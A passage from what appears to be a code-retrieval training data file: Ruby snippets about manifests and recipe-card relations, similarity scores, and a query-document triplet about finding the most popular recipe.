info[:name]\n str = \"#{str}/#{info[:version]}\" unless info[:version].nil?\n str = \"#{str} (#{info[:url]})\" unless info[:url].nil?\n str\n end", "def manifest\n return @manifest if @manifest\n result = []\n app_prefix = /^\\{app\\}\\//\n manifest_regexp = /#{manifest_name}$/\n files.each do |file|\n path, installed_path = file.source, file.dest\n next unless installed_path =~ app_prefix\n # Skip the MANIFEST file if it already exists. Should only happen \n # when doing a dirty build. \n # TODO - we should only skip if we're doing a dirty build; if we're \n # doing a normal build, and have a preexisting manifest, we should \n # fail hard. \n next if path =~ manifest_regexp \n digest = Digest::SHA1.hexdigest(IO.read(path))\n # TODO - Should use a struct, not an array.\n result << [digest, File.size(path), \n installed_path.gsub(app_prefix, '')]\n end\n @manifest = \n result.sort_by {|x| x[2] }.map {|x| \"#{x[0]} #{x[1]} #{x[2]}\\n\" }.join\n end", "def to_vcap_manifest()\n # This is pretty much identical to the json wrapped here except for the environment variables.\n # if there are differences we will take care of them here.\n @wrapped\n end", "def manifest\n fail ResourceNotFound, \"#{full_repo_name} does not exist\" unless repo_exists?\n fail ResourceNotPublic, \"#{full_repo_name} is not public\" unless public?\n fail ManifestMissing, \"#{full_repo_name} has no manifest\" unless manifest_exists?\n fail ResourceNotIndexable, \"#{full_repo_name} cannot be indexed\" unless indexable?\n\n @manifest ||= {\n url: url,\n name: name,\n category: category,\n description: description,\n tags: tags,\n readme: readme\n }\n end", "def filename_extension # required\n if manifest_property.is_a? Array\n manifest_property # eg [ \".c\", \".h\" ]\n else\n [ manifest_property ] # eg \".py\"\n end\n end", "def spec_file params\n file = \"\"\n params.each do |k,v|\n file << \"%s: %s\\n\" % [k, v]\n end\n file << \"\\n\"\n @components.each do |name, component|\n next unless component.includes_manifest?\n file << component.manifest_meta \n file << \"\\n\"\n end\n file\n end", "def load\n YAML.load_file MANIFEST rescue {}\n end", "def update_manifest(file, digest, version)\n # We only ever add to the manifest.\n physical_filepath = \"#{OcflTools::Utils.version_int_to_string(version)}/#{@contentDirectory}/#{file}\"\n\n if @manifest.key?(digest)\n # This bitstream is already in the manifest.\n # We need to append the new filepath to the existing array.\n @manifest[digest] = (@manifest[digest] << physical_filepath)\n return @manifest[digest]\n end\n @manifest[digest] = [physical_filepath] # otherwise, add our first entry to the array.\n @manifest[digest]\n end", "def add_metadata_to_manifest(manifest, key, value)\n element = manifest.elements[\"//manifest/application/meta-data[@android:name=\\\"#{key}\\\"]\"]\n if element.nil?\n application = manifest.elements[\"//manifest/application\"]\n application.add_element \"meta-data\", \"android:name\" => key, \"android:value\" => value\n else\n element.attributes[\"android:value\"] = value\n end\n end", "def verify_manifest(package_directory, manifest, algorithm)\n valid = true\n message_io = STDOUT\n Dir.chdir(package_directory) do\n LOGGER.info(\"Validating manifest #{manifest}\")\n valid = Checksum::validate_manifest(manifest, algorithm, message_io: message_io)\n end\n valid\n end", "def configure_manifest\n @configuration = YAML.load_file(manifest.to_s) if exist?\n end", "def refresh\n @manifest = load_manifest\n end", "def manifests\n api.get('manifests')\n end", "def find_manifest_entry(name)\n if dev_server_running?\n { 'file' => prefix_vite_asset(name.to_s) }\n else\n manifest[name.to_s]\n end\n end", "def specific_manifest_file_path\n \"#{get_formatted_controller_name}-#{get_formatted_action_name}\"\n end", "def api_version; config[:api_version]; end", "def iiif_manifest\n return unless manifestable? && file_set\n manifest_path\n end", "def parseManifest(manifestDir,parentFile)\n\t\t\tclassHash = {}\n\t\t\tFile.open(\"#{manifestDir}/#{parentFile}.pp\", \"r\").each_line do |line|\n\t\t\t\tline.scan(/\\s+\\$([^\\s]+)\\s+=\\s+['\"]{0,1}(.*?)['\"]{0,1},\\n$/) do |key,value|\n\t\t\t\t\tif value == \"undef\"\n\t\t\t\t\t\tclassHash[key] = 'undef'\n\t\t\t\t\telsif value.match(/^[0-9]+$/)\n\t\t\t\t\t\tclassHash[key] = Integer(value)\n\t\t\t\t\telsif value == \"false\"\n\t\t\t\t\t\tclassHash[key] = false\n\t\t\t\t\telsif value == \"true\"\n\t\t\t\t\t\tclassHash[key] = true\n\t\t\t\t\telsif value == \"[]\"\n\t\t\t\t\t\tclassHash[key] = \"'[]'\"\n\t\t\t\t\telse\n\t\t\t\t\t\tclassHash[key] = \"'\" + value + \"'\"\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn classHash\n\t\tend", "def check_manifest(manifest, all_deps)\n related = all_deps.select{|d| d.name == manifest.name}\n if q = related.find{|d| !d.satisfied_by?(manifest)}\n debug_conflict manifest, q\n return false\n end\n true\n end", "def stored_manifest\n @stored_manifest ||= directory.files.get(\"#{manifest.name}-#{version}.json\")\n end", "def extract_manifest_id(prm)\n item = prm[:manifest_id] || prm[:manifest]\n item = item.id if item.is_a?(Manifest)\n item.presence\n end", "def apply_ammendments(api_schema)\n api_schema.fetch(:apis).each do |endpoint|\n endpoint.fetch(:operations).each do |method|\n method[:nickname] = method[:nickname].sub('Api::V1::', '') unless method[:nickname].nil?\n method[:consumes] = ['application/x-www-form-urlencoded'] if ['post', 'patch', 'put', 'delete'].include? method[:method].downcase\n\n method[:parameters].each do |p|\n p[:required] = true if p[:required] == 'required'\n\n case p[:type]\n when 'date'\n p[:type] = 'string'\n p[:format] = 'date'\n when 'datetime'\n p[:type] = 'string'\n p[:format] = 'date-time'\n end\n\n p[:name] = :payload if p[:paramType] == 'body' && p[:name] == ''\n p[:'allowMultiple'] = true if p[:name] == 'state' # actually API allows multiple states in query\n end\n\n method[:responseMessages].each do |response_message|\n next unless response_message[:message].match?(/pdf/i)\n\n response_message[:responseModel] ||= 'File'\n method[:produces] ||= ['application/pdf', 'application/json']\n end\n end\n end\n\n\n api_schema.fetch(:models).values.each do |model|\n if model.fetch(:id) == 'Order'\n model.fetch(:properties)['updated_at'] ||= {:type=>\"date-time\", :description=>nil}\n end\n\n model.fetch(:properties).each do |name, property|\n case property[:type]\n when 'complex'\n property[:type] = [:items, :purchase_items].include?(name) ? 'array' : property[:items][:'$ref']\n when 'date'\n property[:type] = 'date-time'\n end\n end\n end\nend", "def manifestation_params\n params.require(:manifestation).permit(:description, :url)\n end", "def should_update?(manifest)\n return false unless manifest\n\n update = UpdateManifest.new\n current_core = @cache.get_or_set('core', :expires_in => CACHE_EXPIRY) do\n MiniCache::Data.new(downloader.fetch_core_md5)\n end\n current_uc = @cache.get_or_set('uc', :expires_in => CACHE_EXPIRY) do\n MiniCache::Data.new(downloader.fetch_update_center)\n end\n\n if manifest[:core] != current_core\n update.core = {\n :md5 => current_core,\n :url => CORE_URL,\n }\n end\n\n provided = manifest[:plugins][:essential]\n plugins = []\n ESSENTIALS.each do |essential|\n dependencies = resolve_dependencies_for(essential, manifest, current_uc)\n next if dependencies.nil?\n plugins = plugins + dependencies\n end\n # Since we're lazily adding dependencies, filter out duplicates\n update.plugins = plugins.uniq { |p| p[:name] }\n return update\n end", "def generate_manifest_files iss_file, update_url\n iss = InnoSetup::SourceFile.new(iss_file, Dir.getwd, 'CD_INSTALLER' => 1)\n iss.components.each do |name, component|\n next unless component.includes_manifest?\n manifest = component.manifest\n # TODO - We need to include *.iss file's directory when creating this file.\n File.open(component.manifest_name, 'w') {|f| f.write(manifest) }\n end\n File.open(\"release.spec\", 'w') do |f| \n f.write(iss.spec_file(\"Build\" => release_id || \"DIRTY\", \n \"Update-URL\" => update_url))\n end\n sign_file_with_gpg 'release.spec'\nend", "def manifestdoc(files)\n raise _(\"RDOC SUPPORT FOR MANIFEST HAS BEEN REMOVED - See PUP-3638\")\n end", "def create_stored_manifest\n unless stored_manifest\n @stored_manifest = directory.files.new(:body => components.to_json, :key => \"#{manifest.name}-#{version}.json\", :content_type => 'application/json')\n @stored_manifest.acl = 'public-read' if Manifesto.public_manifests?\n @stored_manifest.save\n create_current_manifest\n end\n end" ]
[ "0.65038174", "0.6355783", "0.6163974", "0.5828324", "0.5795993", "0.5728057", "0.5666818", "0.5640075", "0.55853146", "0.55828726", "0.55793273", "0.55565786", "0.5521045", "0.5505758", "0.54997236", "0.5498478", "0.54826987", "0.5469758", "0.5439326", "0.542904", "0.5426625", "0.5369813", "0.53642917", "0.5351449", "0.5340047", "0.53341407", "0.53116614", "0.53032744", "0.5272302", "0.52712446", "0.5267381", "0.5240728", "0.52397794", "0.52381164", "0.5226317", "0.52206856", "0.52176917", "0.51933795", "0.51821184", "0.51746726", "0.51702327", "0.51574105", "0.5150346", "0.5150346", "0.5138028", "0.51324743", "0.511772", "0.51045656", "0.5100839", "0.50736773", "0.5067377", "0.50576663", "0.5053614", "0.50505346", "0.5043892", "0.50245893", "0.5014156", "0.5000498", "0.5000498", "0.49968338", "0.49960348", "0.49919337", "0.49897778", "0.49864346", "0.4977853", "0.49760264", "0.49747172", "0.49688312", "0.49440426", "0.49439687", "0.49418274", "0.49415728", "0.49415728", "0.49279827", "0.49177107", "0.49037874", "0.48969856", "0.4890106", "0.48824635", "0.48795196", "0.48690048", "0.48678353", "0.48642954", "0.48614618", "0.48602253", "0.4854042", "0.48423284", "0.4831673", "0.48248369", "0.4817424", "0.48152134", "0.48101866", "0.48052287", "0.47996113", "0.47868878", "0.4782906", "0.47824612", "0.4779175", "0.4775759", "0.47684425", "0.4768352" ]
0.0
-1
Recipeusers should return the user instances who have recipe cards with this recipe
def users recipe_rc = RecipeCard.all.select {|rc| rc.recipe == self} # recipe_rc.map {|rc| rc.user} end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_user_recipes\n RecipeCard.all.select do |recipe_cards|\n recipe_cards.user == self \n end\n end", "def users\n RecipeCard.all.select do |recipe_card|\n recipe_card.recipe == self\n end\n end", "def recipes\n RecipeCard.all.select do |recipe_card|\n recipe_card.user == self\n end\n end", "def users\n recipes = RecipeCard.all.select { |recipecard| recipecard.recipe == self}\n recipes.collect {|recipe_card| recipe_card.user}\n end", "def recipes\n RecipeCard.all.select do |recipecard|\n recipecard.user == self\n end\n end", "def recipe_cards \n RecipeCard.all.select do |recipe|\n recipe.user == self\n end \n end", "def recipe_cards\n RecipeCard.all.select { |recipe_card| recipe_card.user == self}\n end", "def recipes\n\t\tRecipeCard.all.select { |recipe_card| recipe_card.user == self }\n\tend", "def users\n RecipeCard.all.select do |card|\n card.recipe == self\n end.map do |card|\n card.user\n end\n end", "def find_user_recipe_cards\n RecipeCard.all.map{|rcard| rcard if rcard.user_O == self}.compact\n\n end", "def users\n RecipeCard.all.select { |c| c.recipe == self }.map { |c| c.user }\n end", "def users\n\t\tRecipeCard.all.map do |recipe_card| \n\t\t\tif recipe_card.recipe == self \n\t\t\t\trecipe_card.user \n\t\t\tend\n\t\tend.compact\n\tend", "def recipes\n RecipeCard.all.map{|recipe_card| recipe_card.recipe if recipe_card.user == self}.compact\n end", "def recipe_cards\n user_recipecards = RecipeCard.all.select do |recipecard|\n recipecard.user == self\n end\nend", "def recipecards\n RecipeCard.all.select do | card |\n card.user == self\n end\n end", "def recipes\n # Loop through RecipeCard\n #Find cards for this user\n #Gather recipes on those cards\n self.recipe_cards.map do |recipecard|\n recipecard.recipe\n end\n end", "def recipes\n Recipe.all.select {|recipes| recipes.user == self}\n end", "def users\n RecipeCard.all.map{|recipe_card| recipe_card.user if recipe_card.recipe_O == self}.compact\n end", "def recipes\n RecipeCard.all.select do |recipe_card|\n recipe_card.user == self\n # RecipeCard.name\n end.map do |recipe_card|\n recipe_card.recipe\n end\n end", "def recipes\n # should return all of the recipes this user has recipe cards for\n\n # first match up the user with their recipe cards\n # my_recipe_cards = RecipeCard.all.select do |recipe_card| #rc\n # # self == recipe_card.user # recipe_card.user == self\n # recipe_card.user == self\n # end\n\n # binding.pry\n # then take that array and get the recipes out of it\n self.recipe_cards.map do |recipe_card| # what is this an array of?\n recipe_card.recipe\n end\n # [recipe card objects for that user]\n\n # return an array of recipes\n end", "def cards\n RecipeCard.all.select do |recipe_card|\n recipe_card.user == self\n end\n end", "def recipes\n recipe_card_array = RecipeCard.all.select do |recipe_card|\n recipe_card.user == self\n end\n\n recipe_card_array.map do |recipe_card|\n recipe_card.recipe\n end\n end", "def users\n RecipeCard.all.select do |recipe_card|\n recipe_card.recipe_name == self\n end.map do |recipe_card|\n recipe_card.user\n end\n end", "def users\n recipe_cards.map do |r|\n r.user\n end\n end", "def recipes\n my_recipe_cards = RecipeCard.all.select do |recipe_card|\n recipe_card.user == self\n end\n my_recipe_cards.map do |recipe_card|\n recipe_card.recipe\n end\n end", "def users\n my_recipe_cards.map do |recipecard|\n recipecard.user\n end\n end", "def users\n self.recipe_cards.map {|recipe_card| recipe_card.user}\n end", "def recipe_belongs_to_user(user)\n if user.recipes.select {|s| s.users == users}.count > 0\n return true\n else\n return false\n end\n end", "def userRecipe\n @user_id = params[:id]\n @user = User.find_by(id: @user_id)\n @recipes = Recipe.where(user_id: @user_id)\n end", "def users\n users_arr = RecipeCard.all.select do |recipe_card_ob|\n #binding.pry\n recipe_card_ob.recipe == self\n end\n users_arr.map do |user_ob|\n #binding.pry\n user_ob.user\n end\nend", "def available_recipes\n self.user.recipes.select do |recipe|\n recipe.ingredients.all?{|ing| ing.quantity <= self.ingredients.find_by(name: ing.name).quantity}\n end\n end", "def my_recipe_cards\n RecipeCard.all.select do |recipecard|\n recipecard.recipe == self\n end\n end", "def recipe_cards\n RecipeCard.all.select {|recipe_card| recipe_card.recipe == self}\n end", "def users\n recipes.map {|recipe| recipe.user}\n end", "def recipes\n RecipeCard.all.select do |recipe_card|\n recipe_card.recipe == self\n end\n end", "def safe_recipes\n safe_recipes_array =[]\n #get all the recipies of a user\n all_user_rec = self.recipes\n #get user allergens\n user_allergens = self.allergens\n all_user_rec.each do |recipe|\n y = 0\n recipe.ingredients.each do |ingredient|\n if user_allergens.include?(ingredient)\n y = 1\n end\n end\n safe_recipes_array << recipe if y == 0\n end\n safe_recipes_array\n\n #return array of recipe objects that are safe\n\n end", "def user_counter \n RecipeCard.all.select{|cards|cards.recipe == self}.count \n end", "def recipe_cards #return array of recipecards with this recipe\n RecipeCard.all.select do |card|\n card.recipe == self\n end\n #to test in pry, use instance ex. r1.recipe_cards\n end", "def index\n @recipe_users = RecipeUser.all\n end", "def index\n @recipes = Recipe.where(user_id: current_user.id)\n end", "def recipe_helper\n RecipeCard.all.select do |card|\n card.recipe == self\n end\n end", "def my_recipes\n @recipes = @user.savedrecipe.recipe\n end", "def user\n\t\t@recipes = Recipe.find_by_user_id(params[:id])\n\t\trespond_with @recipes\n\tend", "def users\n self.user_cards.map do |card|\n card.user\n end\n end", "def safe_recipes\n all_recipes = RecipeCard.all.map { |c| c.recipe }\n all_recipes.uniq.select { |r| (allergens & r.ingredients).empty? }\n end", "def users\n\t\t@recipes = Recipe.where('published = ?',1).find_by_user_id(params[:id])\n\t\trespond_with @recipes\t\n\tend", "def eligible_owners\n User.where('users.id != ?', @cookbook.user_id)\n end", "def get_recipe_names\n users_recipes.map {|ur| ur.recipe.name}\n end", "def safe_recipes\n #Look at each allergen. Look at each recipeingredient to determine if any ingredients match any allergens. return recipe if not\n allergens = self.user_allergens ##array of allergies (ingredients objects)\n ri_array = RecipeIngredient.all\n binding.pry\n allergens.each do |allergen|\n binding.pry\n ri_array.delete_if {|recipeingredient| recipeingredient.ingredient == allergen}\n end\n binding.pry\n ri_array.map {|recipeingredient| recipeingredient.recipe}\n\n\n end", "def find_recipes_that_use_me_and_create_link\n my_recipes = Recipe.search_recipe_ingredient_lists_for_ingredient(self)\n my_recipes.each {|recipe| self.recipes << recipe}\n end", "def show_recipes_in_my_kitchen\n list_recipes(@user.recipes.order(:title) ) # just list all recipes associated to the users kitchen\n end", "def recipes\n recipe_cards.map {|recipe_card| recipe_card.recipe}\n end", "def recipes\n self.recipe_cards.map {|recipecard| recipecard.recipe}\n end", "def show\n @user_account= UserAccount.find_by(username: session[:user_id])\n @recipes = Recipe.where(\"recipe_writer = :writer\", writer: session[:user_id]) \n end", "def recipes\n recipe_cards.map { |c| c.recipe }\n end", "def get_active_recipe_ids\n users_recipes.find_all {|ur| ur.active}.map {|ur| ur.recipe_id}\n end", "def recipes\n self.recipe_cards.map do |recipe_card|\n recipe_card.recipe\n end\n end", "def ownedCards\n \tcus_owned_by_user = cards_users.where(is_shared: false)\n\n \t# Have a list of CardsUsers, but want a list of Owned Cards\n \towned_cards = []\n \tcus_owned_by_user.each do | cu |\n \t\tcard = Card.find(cu.card_id)\n \t\towned_cards.push(card)\n \tend\n \towned_cards\n end", "def find_recipe_profiles(user)\n profiles = []\n faves = find_favorite_recipes(user)\n faves.each do |recipe|\n profiles << create_recipe_profile(recipe)\n end\n return profiles\n end", "def user_recipe_connection(recipe_id)\n if user.recipes.where(id: recipe_id) == Recipe.all.where(id: recipe_id)\n recipe_finder(recipe_id)\n else\n UserRecipe.create(name: self.user.name, user_id: self.user.id, recipe_id: recipe_id)\n recipe_finder(recipe_id)\n end\n end", "def safe_recipes\n #want all of the recipes that do not contain ingredients in allergens (array of ingredients)\n #look through all of our recipes\n my_ingredients = self.recipes.map do |recipe|\n #for each recipe, get the ingredients\n recipe.ingredients #array, map makes it an array within an array\n end.flatten.uniq\n #see if any of those ingredients are not our allergens\n my_safe_ingredients = my_ingredients.select do |ingredient|\n !(self.allergens.include?(ingredient))\n end\n #select all recipe ingredients that have our safe ingredients\n my_safe_ris = RecipeIngredient.all.select do |ri|\n my_safe_ingredients.include?(ri.ingredient)\n end\n #return the recipe\n my_safe_ris.map do |ri|\n ri.recipe\n end\n\n end", "def clean_up_user_recipes\n\n allergen_found = 0\n\n self.recipes.each do |r|\n i = r.ingredients.compact\n\n # for each ingredient\n i.each do |ingr| \n ## see if user is allergic\n get_allergy_ids.each do |ua_id|\n if (ingr.allergen1_id == ua_id) or (ingr.allergen2_id == ua_id) or (ingr.allergen3_id == ua_id)\n allergen_found = 1\n break\n end\n end\n end\n ## set active to false if user has selected an allergy that conflicts with the recipe\n if allergen_found == 1 \n ur = UsersRecipe.find(:first, :conditions => {:user_id => self.id, :recipe_id => r.id})\n ur.active = false\n ur.save! \n end\n allergen_found = 0\n end \n end", "def recipe_ingredients\n RecipeIngredient.all.select{|ingredient| ingredient.recipe == self}\n end", "def recipe_ingredients\n RecipeIngredient.all.select do |recipe_ingredient|\n recipe_ingredient.recipe == self\n end\n end", "def recipe_ingredients\n RecipeIngredient.all.select do |ri|\n ri.recipe == self\n end\n end", "def recipe_ingredients\n RecipeIngredient.all.select do |ri|\n ri.recipe == self\n end\n end", "def allergens_ingredients\n Allergen.all.select {|allergen| allergen.user == self}\n end", "def initialize(user, recipe, date, rating)\n @user = user\n @recipe = recipe\n @date = date\n @rating = rating\n @@all << self # adds current RecipeCard to the list of all RecipeCards\n end", "def recipes\n # @recipe.all.select {|recipe| recipe.all = self}\n recipecards.map {|recipecard| recipecard.recipe}\n end", "def index\n @recipe = Recipe.new\n @recipes = current_user.recipes.page(params[:page]).per(15)\n end", "def sharedCards\n \tcus_shared_with_user = cards_users.where(user_id: self.id, is_shared: true)\n\n \t# Have a list of CardsUsers, but want a list of Shared Cards\n \tshared_cards = []\n \tcus_shared_with_user.each do | cu |\n \t\tcard = Card.find(cu.card_id)\n \t\tshared_cards.push(card)\n \tend\n \tshared_cards\n end", "def recipes # /v1/user/:id/recipes (GET)\n recipes = ::Recipe.all\n render json: recipes, :each_serializer => RecipeSmallSerializer, root: false, status: 200\n end", "def user_reviews\n Review.all.select {|review| review.user == self}\n end", "def gym_user_instances\n user_names = []\n self.exercise_instances.each do |user|\n user_names << User.all.find {|user_instance| user_instance.id == user.user_id}\n end\n user_names\n \n end", "def ingredients_helper\n RecipeIngredient.all.select {|instance| instance.recipe == self}\n end", "def index\n @recipes = Recipe.all\n @recipe = Recipe.new\n @user = User.find_by_id(current_user.id)\n end", "def recipe_instances\n recipe_ingredients.map { |ri| ri.recipe }\n end", "def set_recipe\n @user = User.find(params[:user_id])\n @recipe = @user.recipes.find(params[:id])\n end", "def user_favorite_wrestlers\n FavoriteWrestler.all.select do |fav|\n fav.user == self \n end \n end", "def show\n\t\tload_recipe\n\t\t\t\n\t\tload_recipes_set(@recipe.user)\n\t\t\n\t\t@recipe_index = @recipes_set.index(@recipe)\n\t\t\n\t\trecipe = [@recipe]\n\t\t@other_recipes_set = @recipes_set - recipe\n\t\trecipes_conditions = recipe_conditions(recipe_photo_required_cond, recipe_status_cond, recipe_privacy_cond, recipe_is_draft_cond)\n\n same_title_recipes_conditions_list = [ \"recipes.title = '#{@recipe.title}'\", \"recipes.common_title = '#{@recipe.title}'\" ]\n\t\tif (common_title = @recipe.common_title) && !common_title.blank?\n\t\t\tsame_title_recipes_conditions_list += [ \"recipes.common_title = '#{common_title}'\", \"recipes.title = '#{common_title}'\" ]\n\t\tend\n\t\tsame_title_recipes_conditions = \"#{recipes_conditions} AND (#{same_title_recipes_conditions_list.join(' OR ')})\"\n\t\t@same_title_recipes_set = recipes_for(nil, same_title_recipes_conditions, nil, 'RAND()') - recipe\n\t\t@same_title_recipes_set_count = @same_title_recipes_set.size\n\n related_recipes_conditions = recipes_conditions\n\t\t@related_recipes_set = taggables_for(nil, 'Recipe', @recipe.tag_list, related_recipes_conditions, nil, nil, nil, 'RAND()') - recipe - @same_title_recipes_set\n\t\t\n\t\t@favorite_users_set = favorite_users(@recipe.favorites.find(:all, :limit => 12, :order => 'RAND()'))\n\t\t@favorite_users_set_count = @favorite_users_set.size\n\t\t@entried_matches_set = entried_matches(@recipe.entries.find(:all, :limit => 12, :order => 'RAND()'))\n\t\t\n\t\tcurrent = Time.now\n\t\tif @recipe.match_id && (@match = Match.find_by_id_and_entriable_type(@recipe.match_id, 'Recipe')) && @match.doing?(current)\n\t\t\t@entry = @match.find_entry(@recipe)\n\t\tend\t\t\t\t\t\t\t\t\t\t\t\n\t\t\n\t\tshow_sidebar\n\t\t\n\t\trecipe_title = item_title(@recipe)\n\t\trecipe_common_title = @recipe.common_title.strip if !@recipe.common_title.blank?\n\t\trecipe_username = user_username(@recipe.user, true, true)\n\t\trecipe_link_url = item_first_link(@recipe)\n\t\t\n\t\tinfo = \"#{RECIPE_CN} - #{recipe_title}\"\n\t\tset_page_title(info)\n\t\tset_block_title(info)\n\t\t@meta_description = \"这是#{recipe_title}#{add_brackets(recipe_common_title, '(', ')')}的#{RECIPE_CN}信息, 来自#{recipe_username}. \"\n\t\t@meta_keywords = []\n @meta_keywords << @recipe.tag_list if !@recipe.tag_list.blank?\n @meta_keywords += [ recipe_title, recipe_username, recipe_link_url ]\n @meta_keywords << recipe_common_title if !recipe_common_title.blank?\n @meta_keywords += default_meta_keywords('Recipe')\n#\t\t@meta_keywords = [recipe_common_title] + @meta_keywords if !recipe_common_title.blank?\n\n respond_to do |format|\n format.html do\n \tlog_count(@recipe)\n end\n # format.xml { render :xml => @recipe }\n end\n end", "def card_exists?(user)\n all_cards = user.cards.all.count\n all_cards >= 0\n end", "def popular_recipe_card\n RecipeCard.all.select do |recipe_card_ob|\n #binding.pry\n # to test this pry - call this method on an instance of a Recipe\n #(IE - taco.popular_recipe_card)\n recipe_card_ob.recipe == self\n end\nend", "def matchable_users(&block)\n users = @users.values.select { |u| u.sessions.length > 0 && !u.matched }\n block.call users\n end", "def reviews\n Review.all.select do |r|\n r.user == self\n end\n end", "def match\n not_gifted_array = self.users.map{|user| user.id}\n self.users.each do |user|\n while !user.match\n match = not_gifted_array.sample\n if (user.id != match)\n not_gifted_array.delete(match)\n user.update({match: match})\n end\n end\n end\n end", "def selected_recipes\n SelectedRecipe.where(recipe_id: self.id )\n end", "def ingredient_recipes\n self.doses.map { |d| d.recipe }.uniq\n end", "def cardsByUser\n results = HTTParty.get(\"http://192.168.99.104:3003/credit_cards/user?id=\"+ @current_user[\"id\"].to_s)\n render json: results.parsed_response, status: results.code\n end", "def authoringredientrecipesearch\n @query = params[:search]\n @searchedingredients = params[:searchingredients].split(/, */)\n @searchtest = []\n @searchedingredients.each do |si|\n @searchtest.push(si.downcase)\n end\n \n Ingredient.where(\"lower(name) IN (:searching)\", \n {searching: @searchtest}).find_each do |ingredigrab|\n @searchingreed.push(ingredigrab)\n end\n RecipeIngredient.where(ingredient_id: @searchingreed).find_each do |ids|\n @recing.push(ids)\n end\n \n @author = User.find_by_username(params[:searchauthor])\n if params[:exclusive] == \"1\"\n Recipe.where(\"name like :name AND user_id = :author\", \n {name: \"%#{@query}%\", author: @author}).find_each do |r|\n insert = false\n if @recing != nil\n RecipeIngredient.where(\"recipe_id = ?\", r.id).find_each do |i|\n if @recing.include?(i) == true\n insert = true\n end\n end\n if insert == true\n @recipes.push(r)\n end\n end\n end\n else\n Recipe.where(\"name like :name AND user_id = :author\", \n {name: \"%#{@query}%\", author: @author}).find_each do |r|\n insert = true\n if (r.recipe_ingredients.all.empty? == true)\n @recipes.push(r)\n else\n if @recing != nil\n RecipeIngredient.where(\"recipe_id = ?\", r.id).find_each do |i|\n if @recing.include?(i) == true\n else\n insert = false\n end\n end\n if insert == true\n @recipes.push(r)\n end\n end\n end\n end\n end\n return @recipes\n end", "def possible_users\n ids = []\n ids = condition.scan(/\\d+/) if condition.present?\n User.where(:id => ids)\n end", "def recommend\n recs = []\n User.all.each do |user|\n if user.hotspots.include?(self)\n user.hotspots.each do |hs|\n recs << hs\n end#user.hotspots end\n end#if include? end\n return recs.uniq\n end#users.each end\n end", "def users\n Ecore::User.find(@user_id, :group_ids.like(\"%#{@id}%\")).receive(:all)\n end", "def authoringredientsearch\n @searchedingredients = params[:searchingredients].split(/, */)\n @searchtest = []\n \n @searchedingredients.each do |si|\n @searchtest.push(si.downcase)\n end\n \n Ingredient.where(\"lower(name) IN (:searching)\", \n {searching: @searchtest}).find_each do |ingredigrab|\n @searchingreed.push(ingredigrab)\n end\n \n RecipeIngredient.where(ingredient_id: @searchingreed).find_each do |ids|\n @recing.push(ids)\n end\n @author = User.find_by_username(params[:searchauthor])\n if params[:exclusive] == \"1\"\n Recipe.where(\"user_id = :author\", {author: @author}).find_each do |r|\n insert = false\n if @recing != nil\n RecipeIngredient.where(\"recipe_id = ?\", r.id).find_each do |i|\n if @recing.include?(i) == true\n insert = true\n end\n end\n if insert == true\n @recipes.push(r)\n end\n end\n end\n else\n Recipe.where(\"user_id = :author\", {author: @author}).find_each do |r|\n insert = true\n if (r.recipe_ingredients.all.empty? == true)\n @recipes.push(r)\n else\n if @recing != nil\n RecipeIngredient.where(\"recipe_id = ?\", r.id).find_each do |i|\n if @recing.include?(i) == true\n else\n insert = false\n end\n end\n if insert == true\n @recipes.push(r)\n end\n end\n end\n end\n end\n return @recipes\n end", "def find_with_only_user(user)\n uid = user.is_a?(::Starbot::Contact) ? user.id : user\n rooms.values.select{|r| r.users.count == 2 && r.users.map{|u| u.id }.include?(uid) }\n end", "def match\n users_that_match = []\n User.collect_users_and_interests.each do |user, interests_array|\n total_match = count_common_interests(interests_array, self)\n if (is_a_match(total_match) == true) && (user.id != self.id) && (user.location_id == self.location_id)\n users_that_match << user\n end\n end\n users_that_match\n end", "def all_cards(user)\n user.cards.count\n end", "def my_photos\n Photo.all.select do |photo|\n photo.user == self\n end\n end", "def recipes\n @recipes ||= []\n end", "def recipe_ingredients\n RecipeIngredient.all.select { |ri| ri.ingredient.name == @ing }\n end", "def reviews\n # output = []\n # Review.all.each do |review|\n # if review.user == self\n # output << review\n # end\n # end\n # output\n Review.all.select { |review| review.user == self }\n end" ]
[ "0.85119873", "0.8280848", "0.8184995", "0.8129581", "0.81121093", "0.8044279", "0.801113", "0.7995644", "0.78879833", "0.78483945", "0.775207", "0.7734068", "0.77138174", "0.7708338", "0.7701722", "0.766035", "0.7639224", "0.7599163", "0.759865", "0.75705534", "0.7559834", "0.74404335", "0.74120015", "0.7399144", "0.7389077", "0.7163172", "0.71526223", "0.706681", "0.6848689", "0.6824925", "0.6797885", "0.6792777", "0.6773675", "0.6765554", "0.67394024", "0.66160226", "0.65729433", "0.65034735", "0.62465924", "0.6131936", "0.60886264", "0.60516816", "0.6048714", "0.60472137", "0.6034831", "0.6004909", "0.59966964", "0.59747404", "0.59690017", "0.59356683", "0.59219515", "0.59163016", "0.5906172", "0.589679", "0.58939695", "0.5893134", "0.58513844", "0.5829135", "0.58097523", "0.57876474", "0.57480365", "0.57424694", "0.57202166", "0.56823593", "0.5671225", "0.5671225", "0.56329054", "0.56147474", "0.55747503", "0.5526839", "0.55238014", "0.55147004", "0.549556", "0.54692775", "0.5455446", "0.5439153", "0.5425754", "0.5402569", "0.5396476", "0.53951514", "0.53932667", "0.53842896", "0.53746927", "0.53708464", "0.53661513", "0.5363276", "0.53619057", "0.535475", "0.5332036", "0.5323897", "0.5308168", "0.52851653", "0.5285049", "0.5279502", "0.52789235", "0.5266621", "0.5235942", "0.52221906", "0.52184695", "0.52038944" ]
0.77488613
11
Recipe.most_popular should return the recipe instance with the highest number of users (the recipe that has the most recipe cards)
def most_popular # Recipecard.all.select {|rc| rc.recipe ==self} # most_popular.map {|rc| rc.users} recipe_hash = {} RecipeCard.all.each do |recipecard| if recipe_hash[recipecard.name]==nil recipe_hash[recipecard.name]=1 else recipe_hash[recipecard.name]+= 1 end end recipe_hash.max_by{|k,v| v}[0] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
